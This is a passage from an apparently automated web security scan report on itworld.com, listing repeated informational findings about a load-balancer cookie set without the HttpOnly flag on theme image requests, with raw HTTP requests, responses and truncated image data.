Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_470b1e44d460d0e76834779be626f7fe.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:27 GMT
ETag: "37ffc5-513-497f49821a9c0"
Content-Type: image/gif
Content-Length: 1299
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:17 GMT
X-Varnish: 1959719437
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF89a..$.... ;N ;M.8J.4C =O.5F.4E.6F.9J <O >P.;M >Q.5E.8I.4D.7H.:L.6G <N.9K.3C =P...........................!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="ado
...[SNIP]...

7.90. http://www.itworld.com/sites/all/themes/itworld/images/carousel-next.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/carousel-next.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/carousel-next.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_470b1e44d460d0e76834779be626f7fe.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dhomepage%7C1316479684409%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Mon, 07 Feb 2011 22:26:34 GMT
ETag: "37ff88-167-49bb8b96c1a80"
Content-Type: image/gif
Content-Length: 359
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:20 GMT
X-Varnish: 1959719633 1959719385
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 4
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF89a..l....]WW. snn.**............................--upp...aMM......WQQ....................................!.......,......l.... %.d)FfJ.......s\........V.u..OGdr.b..I...4......%I$ ,....G.....~....=h
...[SNIP]...

7.91. http://www.itworld.com/sites/all/themes/itworld/images/carousel-prev.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/carousel-prev.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/carousel-prev.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_470b1e44d460d0e76834779be626f7fe.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dhomepage%7C1316479684409%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Mon, 07 Feb 2011 22:26:34 GMT
ETag: "37ffce-167-49bb8b96c1a80"
Content-Type: image/gif
Content-Length: 359
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:20 GMT
X-Varnish: 1959719681 1959719384
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 4
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF89a..l....]WW. snn.**............................--upp...`ZZ......WQQ....................................!.......,......l.... %.d)FfJ.......s\........V.u..OGdr.b..I.o@4.U.U..
.n.......y<
$.].{.$
...[SNIP]...

7.92. http://www.itworld.com/sites/all/themes/itworld/images/comment-arrow.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/comment-arrow.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/comment-arrow.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_10cd9db87fdd7c34896a27df8d81e201.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:27 GMT
ETag: "37ffd4-cb-497f49821a9c0"
Content-Type: image/gif
Content-Length: 203
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:22:37 GMT
X-Varnish: 252446454 252446257
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 2
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF89a..........HBB...]WWG>?.........lhg...E<=UQP.........wqq............C==F=>D>>.........E??...............!.......,..........H.&..@).F..FT.r..fiP....d.M&..l..K..i....tJ.R...D..)..a....04...z..&...
...[SNIP]...

7.93. http://www.itworld.com/sites/all/themes/itworld/images/commentsSprite.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/commentsSprite.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/commentsSprite.png HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_10cd9db87fdd7c34896a27df8d81e201.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:27 GMT
ETag: "37ffd7-d72f-497f49821a9c0"
Content-Type: image/png
Content-Length: 55087
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:22:37 GMT
X-Varnish: 252446452 252446231
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 1
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

.PNG
.
...IHDR.....................sBIT....|.d.... pHYs..
...
..B.4.....tEXtSoftware.Adobe Fireworks CS4........tEXtCreation Time.10/12/10\.7.....prVWx...oo.D../...yK..;;)n.z<b...........1.R..vg..Q.
...[SNIP]...

7.94. http://www.itworld.com/sites/all/themes/itworld/images/commentsigninbg.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/commentsigninbg.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/commentsigninbg.png HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_10cd9db87fdd7c34896a27df8d81e201.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Mon, 07 Feb 2011 22:26:34 GMT
ETag: "380245-16a4-49bb8b96c1a80"
Content-Type: image/png
Content-Length: 5796
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:22:37 GMT
X-Varnish: 252446453 252446237
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 2
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

.PNG
.
...IHDR.......6.....7{k.....tEXtSoftware.Adobe ImageReadyq.e<...FIDATx..].pTE.N&..`.by. ..%K...RB4.^A....../u.b@...E......
..<E. P*"kE..%.b.V....Rz%...X...% !........93.s...I5.....?._...=.s
...[SNIP]...

7.95. http://www.itworld.com/sites/all/themes/itworld/images/default-profile-medium.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/default-profile-medium.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/default-profile-medium.png HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Tue, 08 Mar 2011 22:13:58 GMT
ETag: "383eb9-5da-49dffedc25580"
Content-Type: image/png
Content-Length: 1498
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:11 GMT
X-Varnish: 1959719174 1959715923
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 59
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

.PNG
.
...IHDR...2...2......]......tEXtSoftware.Adobe ImageReadyq.e<...|IDATx..YKKcI.N...F..(..DeP16".T....q!....w..z....D{!...EF.b......i.D|cH|&..S..NU....f...........n../_...u.I...%..dioW....i.H
...[SNIP]...

7.96. http://www.itworld.com/sites/all/themes/itworld/images/email.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/email.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/email.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_10cd9db87fdd7c34896a27df8d81e201.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-2; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:27 GMT
ETag: "37ffe3-4ea-497f49821a9c0"
Content-Type: image/gif
Content-Length: 1258
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:22:42 GMT
X-Varnish: 252446516 252446340
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 2
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF89a.......................................................!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61
...[SNIP]...

7.97. http://www.itworld.com/sites/all/themes/itworld/images/footer-logo.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/footer-logo.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/footer-logo.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:28 GMT
ETag: "37ffea-671-497f49830ec00"
Content-Type: image/gif
Content-Length: 1649
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:46 GMT
X-Varnish: 1959716117 1959715942
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 3
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF89a..<....E>>...tnn.........QJJ\VV.........hbb...{{......................................................!.......,......<.... .di.h..l..p,..z$...|.....F,...dk.......1TZ...11.z...@K....'........+>
...[SNIP]...

7.98. http://www.itworld.com/sites/all/themes/itworld/images/formtextbg.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/formtextbg.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/formtextbg.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_10cd9db87fdd7c34896a27df8d81e201.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:27 GMT
ETag: "37ffeb-38-497f49821a9c0"
Content-Type: image/gif
Content-Length: 56
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:22:37 GMT
X-Varnish: 252446456 252446281
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 2
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF89a...................!.......,.......... ..........;

7.99. http://www.itworld.com/sites/all/themes/itworld/images/header-sprite.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/header-sprite.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/header-sprite.png HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_470b1e44d460d0e76834779be626f7fe.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:28 GMT
ETag: "37ffee-368e-497f49830ec00"
Content-Type: image/png
Content-Length: 13966
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:12 GMT
X-Varnish: 1959719224 1959715841
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 22
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

.PNG
.
...IHDR...............$.....tEXtSoftware.Adobe ImageReadyq.e<..60IDATx....U.../.........F...(_....*.v:..2cb.M..*.Dk...v'....0j..&]m4].....<.i........#.P31..(/LJ..;..f.}.=....;.....W..{>..{.
...[SNIP]...

7.100. http://www.itworld.com/sites/all/themes/itworld/images/icons/comments.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/icons/comments.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/icons/comments.png HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_470b1e44d460d0e76834779be626f7fe.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:27 GMT
ETag: "38f3c7-d8-497f49821a9c0"
Content-Type: image/png
Content-Length: 216
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:16 GMT
X-Varnish: 1959719422
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

.PNG
.
...IHDR..............sO/....tEXtSoftware.Adobe ImageReadyq.e<...zIDATx.b.q......q?.+0....q!.o`.j^.@.P.. d..L..g"..X]..@!.&.\.@..&h. ....8...P.X....&.......bA....-$.....?.R.B@s"...H.f...0.6...
...[SNIP]...

7.101. http://www.itworld.com/sites/all/themes/itworld/images/icons/itworld-favicon.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/icons/itworld-favicon.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/icons/itworld-favicon.png HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:27 GMT
ETag: "38f3d9-6c9-497f49821a9c0"
Content-Type: image/png
Content-Length: 1737
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:51 GMT
X-Varnish: 1959716212 1959715833
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 4
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

.PNG
.
...IHDR... ...!......&.Q....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="A
...[SNIP]...

7.102. http://www.itworld.com/sites/all/themes/itworld/images/icu-redbar.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/icu-redbar.gif

